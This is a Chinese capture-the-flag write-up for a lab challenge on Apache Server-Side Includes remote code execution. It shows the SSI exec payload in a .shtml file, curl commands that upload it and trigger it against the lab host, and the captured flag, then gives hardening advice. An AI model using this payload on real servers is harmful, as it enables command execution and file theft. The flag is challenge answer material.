玄机靶场-Httpd(ssi-rce) WP
简单级渗透题,1个步骤,考察 Apache HTTP Server 在开启 SSI(Server-Side Includes)和 CGI 支持时,通过上传.shtml文件实现任意命令执行,读取/flag文件。
1. 漏洞背景与原理
SSI(Server-Side Includes)是 Apache HTTP Server 的一项功能,允许在 HTML 文件中嵌入特殊指令,由服务器在返回响应前解析并执行这些指令。当 Apache 同时开启了 SSI 和 CGI 支持时,.shtml文件中的<!--#exec cmd="命令" -->指令会被服务器执行,并将命令输出嵌入到响应内容中。
漏洞的产生条件:
- Apache 配置中启用了
Includes或IncludesNOEXEC选项 - Apache 配置中启用了
ExecCGI选项 - 目标网站存在文件上传功能,且未限制
.shtml文件的上传
当以上条件同时满足时,攻击者可以上传包含 SSI 指令的.shtml文件,然后通过访问该文件触发服务器端命令执行。
2. 信息收集
靶机 IP:69.230.246.48,端口:8081。
根据题目描述,访问http://69.230.246.48:8081/upload.php可以看到文件上传表单:
<formmethod="post"enctype="multipart/form-data">File:<inputtype="file"name="file_upload"><inputtype="submit"></form>服务器允许上传文件,且上传后文件直接可访问(无路径混淆)。
3. 漏洞利用
步骤一:构造恶意 .shtml 文件
创建包含 SSI exec 指令的文件,用于读取/flag:
cat>shell.shtml<<'EOF' <!--#exec cmd="cat /flag" --> EOF步骤二:上传 .shtml 文件
curl-sk-XPOST"http://69.230.246.48:8081/upload.php"\-F"file_upload=@shell.shtml;type=text/html"响应中返回了上传文件的访问路径:
<ahref='/shell.shtml'>shell.shtml</a>步骤三:访问文件触发 SSI 命令执行
curl-sk"http://69.230.246.48:8081/shell.shtml"服务器解析 SSI 指令,执行cat /flag,将结果嵌入响应:
flag{fa288adb-ece7-4470-9e90-59010b482601}Flag 1:flag{fa288adb-ece7-4470-9e90-59010b482601}
总结
本题完整演示了 Apache SSI RCE 的利用链:文件上传功能未限制.shtml文件 → Apache 开启了 SSI + CGI 支持 → 上传包含<!--#exec cmd="..." -->指令的.shtml文件 → 访问文件触发服务器端命令执行。
防御建议:
- 在 Apache 配置中禁用
Includes和ExecCGI选项,或限制其适用目录 - 文件上传功能应严格限制允许上传的文件类型,禁止
.shtml、.php、.cgi等可执行文件 - 上传目录应配置为不可执行(
Options -ExecCGI -Includes)
Flag 汇总:
- 读取 /flag:
flag{fa288adb-ece7-4470-9e90-59010b482601}